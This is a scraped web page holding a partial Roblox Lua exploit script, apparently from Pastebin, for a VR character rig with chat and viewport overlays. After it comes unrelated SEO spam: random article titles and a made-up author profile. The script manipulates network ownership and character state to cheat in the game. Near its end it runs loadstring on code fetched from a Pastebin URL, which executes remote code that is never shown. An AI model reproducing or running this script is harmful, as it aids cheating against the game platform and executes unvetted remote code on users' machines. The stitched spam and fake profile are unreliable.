  745. local OnInputEnded = UserInputService.InputEnded:Connect(function(Input, Processed)

  746. if not Processed then

  747. if Input.KeyCode == Enum.KeyCode.LeftControl or Input.KeyCode == Enum.KeyCode.ButtonL2 then

  748. Tween(VirtualBody.Humanoid, "Elastic", "Out", 1, {

  749. CameraOffset = Vector3.new(0, StudsOffset, 0)

  750. })

  751. end

  752. end

  753. if Input.KeyCode == Enum.KeyCode.LeftShift or Input.KeyCode == Enum.KeyCode.ButtonR2 then

  754. Tween(VirtualBody.Humanoid, "Sine", "Out", 1, {

  755. WalkSpeed = 8

  756. })

  757. end

  758. if not VRReady and Input.UserInputType == Enum.UserInputType.MouseButton1 then

  759. Point1 = false

  760. end

  761. if not VRReady and Input.UserInputType == Enum.UserInputType.MouseButton2 then

  762. Point2 = false

  763. end

  764. end)

  765. --[[

  766. Proper Cleanup

  767. --]]

  768. local OnReset

  769. OnReset = Client.CharacterAdded:Connect(function()

  770. OnReset:Disconnect();

  771. CFrameChanged:Disconnect();

  772. OnStepped:Disconnect();

  773. OnRenderStepped:Disconnect();

  774. OnMoving:Disconnect();

  775. OnInput:Disconnect();

  776. OnInputEnded:Disconnect();

  777. VirtualRig:Destroy();

  778. VirtualBody:Destroy();

  779. if RagdollEnabled then

  780. Network:Unclaim();

  781. end

  782. if AutoRun then

  783. delay(2, function()

  784. Script()

  785. end)

  786. end

  787. end)

  788. if ChatEnabled then

  789. spawn(ChatHUDFunc)

  790. end

  791. if ViewportEnabled then

  792. spawn(ViewHUDFunc)

  793. end

  794. do

  795. --[[

  796. Functions

  797. --]]

  798. local Players = game:GetService("Players")

  799. local Client = Players.LocalPlayer

  800. local VRService = game:GetService("VRService")

  801. local VRReady = VRService.VREnabled

  802. local UserInputService = game:GetService("UserInputService")

  803. local RunService = game:GetService("RunService")

  804. local Camera = workspace.CurrentCamera

  805. --[[

  806. Code

  807. --]]

  808. if VRReady then

  809. local Pointer = game:GetObjects("rbxassetid://4476173280")[1]

  810. Pointer.Parent = workspace

  811. Pointer.Beam.Enabled = false

  812. Pointer.Target.ParticleEmitter.Enabled = false

  813. local RenderStepped = RunService.RenderStepped:Connect(function()

  814. if Pointer.Beam.Enabled then

  815. local RightHand = Camera.CFrame * VRService:GetUserCFrame(Enum.UserCFrame.RightHand)

  816. local Target = RightHand * CFrame.new(0, 0, -10)

  817. local Line = Ray.new(RightHand.p, (Target.p - RightHand.p).Unit * 128)

  818. local Part, Position = workspace:FindPartOnRayWithIgnoreList(Line, {VirtualRig, VirtualBody, Character, Pointer})

  819. local Distance = (Position - RightHand.p).Magnitude

  820. Pointer.Target.Position = Vector3.new(0, 0, -Distance)

  821. Pointer.CFrame = RightHand

  822. end

  823. end)

  824. local Input = UserInputService.InputBegan:Connect(function(Input)

  825. if Input.KeyCode == Enum.KeyCode.ButtonB then

  826. Pointer.Beam.Enabled = not Pointer.Beam.Enabled

  827. Pointer.Target.ParticleEmitter.Enabled = not Pointer.Target.ParticleEmitter.Enabled

  828. end

  829. end)

  830. --

  831. local CharacterAdded

  832. CharacterAdded = Client.CharacterAdded:Connect(function()

  833. RenderStepped:Disconnect()

  834. Input:Disconnect()

  835. CharacterAdded:Disconnect()

  836. Pointer:Destroy()

  837. Pointer = nil

  838. end)

  839. else

  840. return

  841. end

  842. end

  843. end;

  844. Permadeath = function()

  845. local ch = game.Players.LocalPlayer.Character

  846. local prt=Instance.new("Model", workspace)

  847. local z1 = Instance.new("Part", prt)

  848. z1.Name="Torso"

  849. z1.CanCollide = false

  850. z1.Anchored = true

  851. local z2 =Instance.new("Part", prt)

  852. z2.Name="Head"

  853. z2.Anchored = true

  854. z2.CanCollide = false

  855. local z3 =Instance.new("Humanoid", prt)

  856. z3.Name="Humanoid"

  857. z1.Position = Vector3.new(0,9999,0)

  858. z2.Position = Vector3.new(0,9991,0)

  859. game.Players.LocalPlayer.Character=prt

  860. wait(5)

  861. warn("50%")

  862. game.Players.LocalPlayer.Character=ch

  863. wait(6)

  864. warn("100%")

  865. end;

  866. Respawn = function()

  867. local ch = game.Players.LocalPlayer.Character

  868. local prt=Instance.new("Model", workspace)

  869. local z1 = Instance.new("Part", prt)

  870. z1.Name="Torso"

  871. z1.CanCollide = false

  872. z1.Anchored = true

  873. local z2 =Instance.new("Part", prt)

  874. z2.Name="Head"

  875. z2.Anchored = true

  876. z2.CanCollide = false

  877. local z3 =Instance.new("Humanoid", prt)

  878. z3.Name="Humanoid"

  879. z1.Position = Vector3.new(0,9999,0)

  880. z2.Position = Vector3.new(0,9991,0)

  881. game.Players.LocalPlayer.Character=prt

  882. wait(5)

  883. game.Players.LocalPlayer.Character=ch

  884. end;

  885. ChatHUDFunc = function()

  886. --[[

  887. Variables

  888. --]]

  889. local UserInputService = game:GetService("UserInputService")

  890. local RunService = game:GetService("RunService")

  891. local VRService = game:GetService("VRService")

  892. local VRReady = VRService.VREnabled

  893. local Players = game:GetService("Players")

  894. local Client = Players.LocalPlayer

  895. local ChatHUD = game:GetObjects("rbxassetid://4476067885")[1]

  896. local GlobalFrame = ChatHUD.GlobalFrame

  897. local Template = GlobalFrame.Template

  898. local LocalFrame = ChatHUD.LocalFrame

  899. local Global = ChatHUD.Global

  900. local Local = ChatHUD.Local

  901. local Camera = workspace.CurrentCamera

  902. Template.Parent = nil

  903. ChatHUD.Parent = game:GetService("CoreGui")

  904. --[[

  905. Code

  906. --]]

  907. local Highlight = Global.Frame.BackgroundColor3

  908. local Deselected = Local.Frame.BackgroundColor3

  909. local OpenGlobalTab = function()

  910. Global.Frame.BackgroundColor3 = Highlight

  911. Local.Frame.BackgroundColor3 = Deselected

  912. Global.Font = Enum.Font.SourceSansBold

  913. Local.Font = Enum.Font.SourceSans

  914. GlobalFrame.Visible = true

  915. LocalFrame.Visible = false

  916. end

  917. local OpenLocalTab = function()

  918. Global.Frame.BackgroundColor3 = Deselected

  919. Local.Frame.BackgroundColor3 = Highlight

  920. Global.Font = Enum.Font.SourceSans

  921. Local.Font = Enum.Font.SourceSansBold

  922. GlobalFrame.Visible = false

  923. LocalFrame.Visible = true

  924. end

  925. Global.MouseButton1Down:Connect(OpenGlobalTab)

  926. Local.MouseButton1Down:Connect(OpenLocalTab)

  927. Global.MouseButton1Click:Connect(OpenGlobalTab)

  928. Local.MouseButton1Click:Connect(OpenLocalTab)

  929. OpenLocalTab()

  930. --

  931. local function GetPlayerDistance(Sender)

  932. if Sender.Character and Sender.Character:FindFirstChild("Head") then

  933. return math.floor((Sender.Character.Head.Position - Camera:GetRenderCFrame().p).Magnitude + 0.5)

  934. end

  935. end

  936. local function NewGlobal(Message, Sender, Color)

  937. local Frame = Template:Clone()

  938. Frame.Text = ("[%s]: %s"):format(Sender.Name, Message)

  939. Frame.User.Text = ("[%s]:"):format(Sender.Name)

  940. Frame.User.TextColor3 = Color

  941. Frame.BackgroundColor3 = Color

  942. Frame.Parent = GlobalFrame

  943. delay(60, function()

  944. Frame:Destroy()

  945. end)

  946. end

  947. local function NewLocal(Message, Sender, Color, Dist)

  948. local Frame = Template:Clone()

  949. Frame.Text = ("(%s) [%s]: %s"):format(tostring(Dist), Sender.Name, Message)

  950. Frame.User.Text = ("(%s) [%s]:"):format(tostring(Dist), Sender.Name)

  951. Frame.User.TextColor3 = Color

  952. Frame.BackgroundColor3 = Color

  953. Frame.Parent = LocalFrame

  954. delay(60, function()

  955. Frame:Destroy()

  956. end)

  957. end

  958. local function OnNewChat(Message, Sender, Color)

  959. if not ChatHUD or not ChatHUD.Parent then return end

  960. NewGlobal(Message, Sender, Color)

  961. local Distance = GetPlayerDistance(Sender)

  962. if Distance and Distance <= ChatLocalRange then

  963. NewLocal(Message, Sender, Color, Distance)

  964. end

  965. end

  966. local function OnPlayerAdded(Player)

  967. if not ChatHUD or not ChatHUD.Parent then return end

  968. local Color = BrickColor.Random().Color

  969. Player.Chatted:Connect(function(Message)

  970. OnNewChat(Message, Player, Color)

  971. end)

  972. end

  973. Players.PlayerAdded:Connect(OnPlayerAdded)

  974. for _, Player in pairs(Players:GetPlayers()) do

  975. OnPlayerAdded(Player)

  976. end

  977. --

  978. local ChatPart = ChatHUD.Part

  979. ChatHUD.Adornee = ChatPart

  980. if VRReady then

  981. ChatHUD.Parent = game:GetService("CoreGui")

  982. ChatHUD.Enabled = true

  983. ChatHUD.AlwaysOnTop = true

  984. local OnInput = UserInputService.InputBegan:Connect(function(Input, Processed)

  985. if not Processed then

  986. if Input.KeyCode == Enum.KeyCode.ButtonX then

  987. ChatHUD.Enabled = not ChatHUD.Enabled

  988. end

  989. end

  990. end)

  991. local RenderStepped = RunService.RenderStepped:Connect(function()

  992. local LeftHand = VRService:GetUserCFrame(Enum.UserCFrame.LeftHand)

  993. ChatPart.CFrame = Camera.CFrame * LeftHand

  994. end)

  995. local CharacterAdded

  996. CharacterAdded = Client.CharacterAdded:Connect(function()

  997. OnInput:Disconnect()

  998. RenderStepped:Disconnect()

  999. CharacterAdded:Disconnect()

  1000. ChatHUD:Destroy()

  1001. ChatHUD = nil

  1002. end)

  1003. end

  1004. wait(9e9)

  1005. end;

  1006. ViewHUDFunc = function()

  1007. --[[

  1008. Variables

  1009. --]]

  1010. local ViewportRange = ViewportRange or 32

  1011. local UserInputService = game:GetService("UserInputService")

  1012. local RunService = game:GetService("RunService")

  1013. local VRService = game:GetService("VRService")

  1014. local VRReady = VRService.VREnabled

  1015. local Players = game:GetService("Players")

  1016. local Client = Players.LocalPlayer

  1017. local Mouse = Client:GetMouse()

  1018. local Camera = workspace.CurrentCamera

  1019. local CameraPort = Camera.CFrame

  1020. local ViewHUD = script:FindFirstChild("ViewHUD") or game:GetObjects("rbxassetid://4480405425")[1]

  1021. local Viewport = ViewHUD.Viewport

  1022. local Viewcam = Instance.new("Camera")

  1023. local ViewPart = ViewHUD.Part

  1024. ViewHUD.Parent = game:GetService("CoreGui")

  1025. Viewcam.Parent = Viewport

  1026. Viewcam.CameraType = Enum.CameraType.Scriptable

  1027. Viewport.CurrentCamera = Viewcam

  1028. Viewport.BackgroundTransparency = 1

  1029. --[[

  1030. Code

  1031. --]]

  1032. local function Clone(Character)

  1033. local Arc = Character.Archivable

  1034. local Clone;

  1035. Character.Archivable = true

  1036. Clone = Character:Clone()

  1037. Character.Archivable = Arc

  1038. return Clone

  1039. end

  1040. local function GetPart(Name, Parent, Descendants)

  1041. for i = 1, #Descendants do

  1042. local Part = Descendants[i]

  1043. if Part.Name == Name and Part.Parent.Name == Parent then

  1044. return Part

  1045. end

  1046. end

  1047. end

  1048. local function OnPlayerAdded(Player)

  1049. if not ViewHUD or not ViewHUD.Parent then return end

  1050. local function CharacterAdded(Character)

  1051. if not ViewHUD or not ViewHUD.Parent then return end

  1052. Character:WaitForChild("Head")

  1053. Character:WaitForChild("Humanoid")

  1054. wait(3)

  1055. local FakeChar = Clone(Character)

  1056. local Root = FakeChar:FindFirstChild("HumanoidRootPart") or FakeChar:FindFirstChild("Head")

  1057. local RenderConnection;

  1058. local Descendants = FakeChar:GetDescendants()

  1059. local RealDescendants = Character:GetDescendants()

  1060. local Correspondents = {};

  1061. FakeChar.Humanoid.DisplayDistanceType = "None"

  1062. for i = 1, #Descendants do

  1063. local Part = Descendants[i]

  1064. local Real = Part:IsA("BasePart") and GetPart(Part.Name, Part.Parent.Name, RealDescendants)

  1065. if Part:IsA("BasePart") and Real then

  1066. Part.Anchored = true

  1067. Part:BreakJoints()

  1068. if Part.Parent:IsA("Accessory") then

  1069. Part.Transparency = 0

  1070. end

  1071. table.insert(Correspondents, {Part, Real})

  1072. end

  1073. end

  1074. RenderConnection = RunService.RenderStepped:Connect(function()

  1075. if not Character or not Character.Parent then

  1076. RenderConnection:Disconnect()

  1077. FakeChar:Destroy()

  1078. return

  1079. end

  1080. if (Root and (Root.Position - Camera.CFrame.p).Magnitude <= ViewportRange) or Player == Client or not Root then

  1081. for i = 1, #Correspondents do

  1082. local Part, Real = unpack(Correspondents[i])

  1083. if Part and Real and Part.Parent and Real.Parent then

  1084. Part.CFrame = Real.CFrame

  1085. elseif Part.Parent and not Real.Parent then

  1086. Part:Destroy()

  1087. end

  1088. end

  1089. end

  1090. end)

  1091. FakeChar.Parent = Viewcam

  1092. end

  1093. Player.CharacterAdded:Connect(CharacterAdded)

  1094. if Player.Character then

  1095. spawn(function()

  1096. CharacterAdded(Player.Character)

  1097. end)

  1098. end

  1099. end

  1100. local PlayerAdded = Players.PlayerAdded:Connect(OnPlayerAdded)

  1101. for _, Player in pairs(Players:GetPlayers()) do

  1102. OnPlayerAdded(Player)

  1103. end

  1104. ViewPart.Size = Vector3.new()

  1105. if VRReady then

  1106. Viewport.Position = UDim2.new(.62, 0, .89, 0)

  1107. Viewport.Size = UDim2.new(.3, 0, .3, 0)

  1108. Viewport.AnchorPoint = Vector2.new(.5, 1)

  1109. else

  1110. Viewport.Size = UDim2.new(0.3, 0, 0.3, 0)

  1111. end

  1112. local RenderStepped = RunService.RenderStepped:Connect(function()

  1113. local Render = Camera.CFrame

  1114. local Scale = Camera.ViewportSize

  1115. if VRReady then

  1116. Render = Render * VRService:GetUserCFrame(Enum.UserCFrame.Head)

  1117. end

  1118. CameraPort = CFrame.new(Render.p + Vector3.new(5, 2, 0), Render.p)

  1119. Viewport.Camera.CFrame = CameraPort

  1120. ViewPart.CFrame = Render * CFrame.new(0, 0, -16)

  1121. ViewHUD.Size = UDim2.new(0, Scale.X - 6, 0, Scale.Y - 6)

  1122. end)

  1123. --

  1124. local CharacterAdded

  1125. CharacterAdded = Client.CharacterAdded:Connect(function()

  1126. RenderStepped:Disconnect()

  1127. CharacterAdded:Disconnect()

  1128. PlayerAdded:Disconnect()

  1129. ViewHUD:Destroy()

  1130. ViewHUD = nil

  1131. end)

  1132. wait(9e9)

  1133. end;

  1134. Script()

  1135. wait(2)

  1136. local Players = game:GetService("Players")

  1137. local lp = Players.LocalPlayer

  1138. local character = lp.Character

  1139. local A0LL = Instance.new("Attachment", character["Left Leg"])

  1140. A0LL.Position = Vector3.new(0, 1, 0)

  1141. local A1LL = Instance.new("Attachment", character["Torso"])

  1142. A1LL.Position = Vector3.new(-0.5, -1, 0)

  1143. local socket1 = Instance.new("BallSocketConstraint", character["Left Leg"])

  1144. socket1.Attachment0 = A0LL

  1145. socket1.Attachment1 = A1LL

  1146. local A0RL = Instance.new("Attachment", character["Right Leg"])

  1147. A0RL.Position = Vector3.new(0, 1, 0)

  1148. local A1RL = Instance.new("Attachment", character["Torso"])

  1149. A1RL.Position = Vector3.new(0.5, -1, 0)

  1150. local socket2 = Instance.new("BallSocketConstraint", character["Right Leg"])

  1151. socket2.Attachment0 = A0RL

  1152. socket2.Attachment1 = A1RL

  1153. local A0H = Instance.new("Attachment", character["Head"])

  1154. A0H.Position = Vector3.new(0, -0.5, 0)

  1155. local A1H = Instance.new("Attachment", character["Torso"])

  1156. A1H.Position = Vector3.new(0, 1, 0)

  1157. local socket5 = Instance.new("BallSocketConstraint", character["Head"])

  1158. socket5.Attachment0 = A0H

  1159. socket5.Attachment1 = A1H

  1160. loadstring(game:HttpGet("https://pastebin.com/raw/Byd1PdHn",true))()

  1161. -----------------------------------------------------------

  1162. wait(9e9)

  1163. warn("Rospliot :)")

2nd FE VR Script V2 - Pastebin.com (2024)

References

Top Articles
Baldur’s Gate 3: Blighted Village Walkthrough
Baldurs Gate 3: Blighted Village - map
Where To Go After Howling Pit Code Vein
Srtc Tifton Ga
Design215 Word Pattern Finder
Craigslist Cars Augusta Ga
J & D E-Gitarre 905 HSS Bat Mark Goth Black bei uns günstig einkaufen
Obor Guide Osrs
Mate Me If You May Sapir Englard Pdf
How Many Cc's Is A 96 Cubic Inch Engine
How To Be A Reseller: Heather Hooks Is Hooked On Pickin’ - Seeking Connection: Life Is Like A Crossword Puzzle
Evil Dead Rise Showtimes Near Massena Movieplex
2024 Fantasy Baseball: Week 10 trade values chart and rest-of-season rankings for H2H and Rotisserie leagues
Athletic Squad With Poles Crossword
Fire Rescue 1 Login
Was sind ACH-Routingnummern? | Stripe
The Weather Channel Facebook
Uhcs Patient Wallet
Busty Bruce Lee
Echo & the Bunnymen - Lips Like Sugar Lyrics
Games Like Mythic Manor
Unit 33 Quiz Listening Comprehension
Munich residents spend the most online for food
Busby, FM - Demu 1-3 - The Demu Trilogy - PDF Free Download
Gdp E124
Gem City Surgeons Miami Valley South
Driving Directions To Bed Bath & Beyond
Me Cojo A Mama Borracha
Boston Gang Map
Ms Rabbit 305
Rimworld Prison Break
Hdmovie2 Sbs
Abga Gestation Calculator
The Venus Flytrap: A Complete Care Guide
Appleton Post Crescent Today's Obituaries
Texters Wish You Were Here
Sephora Planet Hollywood
AI-Powered Free Online Flashcards for Studying | Kahoot!
Kelley Blue Book Recalls
Koninklijk Theater Tuschinski
Joey Gentile Lpsg
Dwc Qme Database
Florida Lottery Claim Appointment
Swoop Amazon S3
Mauston O'reilly's
9:00 A.m. Cdt
Craigslist Houses For Rent Little River Sc
The Pretty Kitty Tanglewood
Displacer Cub – 5th Edition SRD
Gander Mountain Mastercard Login
Bunbrat
Latest Posts
Article information

Author: Maia Crooks Jr

Last Updated:

Views: 6308

Rating: 4.2 / 5 (43 voted)

Reviews: 82% of readers found this page helpful

Author information

Name: Maia Crooks Jr

Birthday: 1997-09-21

Address: 93119 Joseph Street, Peggyfurt, NC 11582

Phone: +2983088926881

Job: Principal Design Liaison

Hobby: Web surfing, Skiing, role-playing games, Sketching, Polo, Sewing, Genealogy

Introduction: My name is Maia Crooks Jr, I am a homely, joyous, shiny, successful, hilarious, thoughtful, joyous person who loves writing and wants to share my knowledge and understanding with you.